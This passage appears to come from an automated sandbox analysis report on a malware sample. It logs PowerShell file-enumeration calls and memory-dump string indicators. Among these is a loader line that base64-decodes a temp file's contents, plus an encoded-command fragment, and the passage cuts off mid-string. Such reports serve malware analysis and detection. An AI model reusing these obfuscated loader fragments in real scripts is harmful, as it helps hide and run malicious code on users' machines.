%WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00001332) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00001332) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00001332) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00001332)52:T1d4b,file/memory contains long string with (Indicator: "aes"; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") file/memory contains long string with (Indicator: "rsa2"; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") file/memory contains long string with (Indicator: "base64"; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") file/memory contains long string with (Indicator: "FromBase64String"; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set "C_B64=GetString([Convert]::FromBase64String((Get-Content '!line!' -Raw).Replace('`r','').Replace('`n','')))"" (Indicator: "base64"; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set "C_B64=GetString([Convert]::FromBase64String((Get-Content '!line!' -Raw).Replace('`r','').Replace('`n','')))"" (Indicator: "FromBase64String"; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") file/memory contains long string with (Indicator: "base64"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "base64"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000000.168324.4CEF0000.00000004.mdmp, 00000000-00001332.00000000.168324.4CF00000.00000004.mdmp, 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, 00000000-00001332.00000000.168324.66FF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CEF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CF00000.00000004.mdmp, 00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000000.168324.4CEF0000.00000004.mdmp, 00000000-00001332.00000000.168324.4CF00000.00000004.mdmp, 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, 00000000-00001332.00000000.168324.66FF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CEF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CF00000.00000004.mdmp, 00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000000.168324.66FF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found string "C_B64=GetString([Convert]::FromBase64String((Get-Content 'C:\Users\HAPUBWS\AppData\Local\Temp\corner.tmp' -Raw).Replace('`r','').Replace('`n','')))" (Indicator: "base64"; Source: "00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000000.168324.4CEF0000.00000004.mdmp, 00000000-00001332.00000000.168324.4CF00000.00000004.mdmp, 00000000-00001332.00000000.168324.66FF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CEF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CF00000.00000004.mdmp, 00000000-00001332.00000001.168518.67640000.00000004.mdmp") Found string "C_B64=GetString([Convert]::FromBase64String((Get-Content 'C:\Users\HAPUBWS\AppData\Local\Temp\corner.tmp' -Raw).Replace('`r','').Replace('`n','')))" (Indicator: "FromBase64String"; Source: "00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000000.168324.4CEF0000.00000004.mdmp, 00000000-00001332.00000000.168324.4CF00000.00000004.mdmp, 00000000-00001332.00000000.168324.66FF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CEF0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CF00000.00000004.mdmp, 00000000-00001332.00000001.168518.67640000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "[-WindowStyle